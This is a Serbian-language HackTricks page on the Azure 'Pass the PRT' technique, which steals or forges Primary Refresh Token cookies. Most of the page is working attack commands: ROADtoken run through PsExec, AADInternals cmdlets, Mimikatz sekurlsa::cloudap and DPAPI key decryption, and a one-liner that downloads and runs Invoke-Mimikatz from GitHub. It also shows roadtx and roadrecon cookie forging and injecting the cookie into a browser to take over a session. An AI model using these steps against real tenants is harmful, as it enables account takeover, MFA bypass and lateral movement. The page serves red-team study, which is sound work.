Az - Pass the PRT

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Šta je PRT

pageAz - Primary Refresh Token (PRT)

Proverite da li imate PRT

Dsregcmd.exe /status

U odeljku SSO stanje, trebalo bi da vidite AzureAdPrt postavljen na YES.

U istom izlazu možete takođe videti da li je uređaj pridružen Azure-u (u polju AzureAdJoined):

PRT kolačić

PRT kolačić zapravo se naziva x-ms-RefreshTokenCredential i predstavlja JSON Web Token (JWT). JWT sadrži 3 dela, zaglavlje, payload i potpis, podeljeni tačkom . i svi su url-safe base64 kodirani. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Stvarni Primarni osvežavajući token (PRT) je inkapsuliran unutar refresh_token, koji je enkriptovan ključem pod kontrolom Azure AD, čime se njegov sadržaj čini neprozirnim i neodšifrovanim za nas. Polje is_primary označava inkapsulaciju primarnog osvežavajućeg tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane povezan sa određenom prijavnom sesijom za koju je bio namenjen, request_nonce se prenosi sa stranice logon.microsoftonline.com.

Tok kolačića PRT korišćenjem TPM-a

Proces LSASS će poslati KDF kontekst TPM-u, a TPM će koristiti sesijski ključ (prikupljen prilikom registracije uređaja u AzureAD i smešten u TPM) i prethodni kontekst da izvede ključ, a ovaj izvedeni ključ se koristi za potpisivanje PRT kolačića (JWT).

KDF kontekst je jednokratni broj od AzureAD i PRT koji stvara JWT pomešan sa kontekstom (nasumični bajtovi).

Stoga, čak i ako PTR ne može biti izvađen jer se nalazi unutar TPM-a, moguće je zloupotrebiti LSASS da zahteva izvedene ključeve iz novih konteksta i koristi generisane ključeve za potpisivanje Kolačića.

Scenariji zloupotrebe PRT-a

Kao običan korisnik moguće je zahtevati upotrebu PRT-a tražeći od LSASS-a podatke o SSO-u. Ovo se može uraditi kao nativne aplikacije koje zahtevaju tokene od Web Account Managera (token broker). WAM prosleđuje zahtev LSASS-u, koji traži tokene koristeći potpisani PRT tvrdnjom. Ili se može uraditi sa browser baziranim (web) tokovima gde se PRT kolačić koristi kao zaglavlje za autentifikaciju zahteva ka Azure AS stranicama za prijavu.

Kao SYSTEM možete ukrasti PRT ako nije zaštićen TPM-om ili interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je.

Primeri napada Pass-the-PRT

Napad - ROADtoken

Za više informacija o ovom načinu proverite ovaj post. ROADtoken će pokrenuti BrowserCore.exe iz odgovarajućeg direktorijuma i koristiti ga da dobije PRT kolačić. Ovaj kolačić se zatim može koristiti sa ROADtools-om za autentifikaciju i dobijanje trajnog osvežavajućeg tokena.

Da biste generisali validan PRT kolačić, prvo što vam je potrebno je jednokratni broj. Možete ga dobiti sa:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ili koristeći roadrecon:

roadrecon auth prt-init

Zatim možete koristiti roadtoken da biste dobili novi PRT (pokrenite alat iz procesa korisnika za napad):

.\ROADtoken.exe <nonce>

Koristite Pass-the-PRT tehniku za lateralno kretanje između oblaka i on-premises mreža.

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Zatim možete koristiti generisani kolačić da biste generisali token za prijavu korišćenjem Azure AD Grafa ili Microsoft Grafa:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Napad - Korišćenje roadrecon-a

Napad - Korišćenje AADInternals i procurelog PTR-a

Get-AADIntUserPRTToken dobavlja korisnikov PRT token sa Azure AD pridruženog ili hibridno pridruženog računara. Koristi BrowserCore.exe za dobavljanje PRT tokena.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ili, ako imate vrednosti iz Mimikatza, takođe možete koristiti AADInternals da generišete token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Idite na https://login.microsoftonline.com, obrišite sve kolačiće za login.microsoftonline.com i unesite novi kolačić.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Zatim idite na https://portal.azure.com

Preostalo bi trebalo da bude podrazumevano. Proverite da li možete osvežiti stranicu, a kolačić ne nestaje. Ako nestane, možda ste napravili grešku i morate proći kroz proces ponovo. Ako ne nestane, trebalo bi da bude u redu.

Napad - Mimikatz

Koraci

  1. PRT (Primarni osvežavajući token) se izvlači iz LSASS (Lokalna podsistema za bezbednost) i čuva za kasniju upotrebu.

  2. Zatim se izvlači Session Key. S obzirom da se ovaj ključ prvobitno izdaje, a zatim ponovo šifruje lokalnim uređajem, neophodno je dešifrovanje korišćenjem DPAPI master ključa. Detaljne informacije o DPAPI (API za zaštitu podataka) možete pronaći u ovim resursima: HackTricks i za razumevanje njegove primene, pogledajte napad Pass-the-cookie.

  3. Nakon dešifrovanja Session Key-a, dobijaju se izvedeni ključ i kontekst za PRT. Oni su ključni za kreiranje PRT kolačića. Konkretno, izvedeni ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Detaljno objašnjenje ovog procesa pružio je Dirk-jan, dostupno ovde.

Imajte na umu da ako je PRT unutar TPM-a, a ne unutar lsass, mimikatz neće moći da ga izvuče. Međutim, biće moguće dobiti ključ iz izvedenog ključa iz konteksta iz TPM-a i koristiti ga za potpisivanje kolačića (proverite opciju 3).

Možete pronaći detaljno objašnjenje izvršenog procesa za izvlačenje ovih detalja ovde: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Ovo neće tačno raditi nakon popravki avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ovima drugih korisnika), ali može pristupiti svom.

Možete koristiti mimikatz za izvlačenje PRT-a:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Kopirajte deo označen kao Prt i sačuvajte ga. Izvucite i sesijski ključ (KeyValue polja ProofOfPossesionKey) koji možete videti označen ispod. Ovo je šifrovano i trebaće nam naši DPAPI master ključevi da ga dešifrujemo.

Ako ne vidite nikakve PRT podatke, može biti da nemate PRT-ove jer vaš uređaj nije pridružen Azure AD-u ili može biti da koristite staru verziju Windows 10.

Za dešifrovanje sesijskog ključa morate povećati svoje privilegije na SYSTEM da biste pokrenuli pod računarskim kontekstom i mogli koristiti DPAPI master ključ za dešifrovanje. Možete koristiti sledeće komande za to:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opcija 1 - Potpuni Mimikatz

  • Sada želite da kopirate i Kontekst vrednost:

  • I vrednost izvedenog ključa:

  • Na kraju možete koristiti sve ove informacije da generišete PRT kolačiće:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Preostalo bi trebalo da bude podrazumevano. Proverite da li možete osvežiti stranicu, a kolačić ne nestaje. Ako nestane, možda ste napravili grešku i morate ponovo proći kroz proces. Ako ne nestane, trebalo bi da bude u redu.

Opcija 2 - roadrecon korišćenjem PTR

  • Prvo obnovite PRT, koji će biti sačuvan u roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Sada možemo zahtevati tokene koristeći interaktivni pregledač sa roadtx browserprtauth. Ako koristimo komandu roadtx describe, vidimo da pristupni token uključuje MFA tvrdnju jer je PRT koji sam koristio u ovom slučaju takođe imao MFA tvrdnju.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opcija 3 - roadrecon korišćenjem izvedenih ključeva

Imajući kontekst i izvučeni ključ pomoću alata mimikatz, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated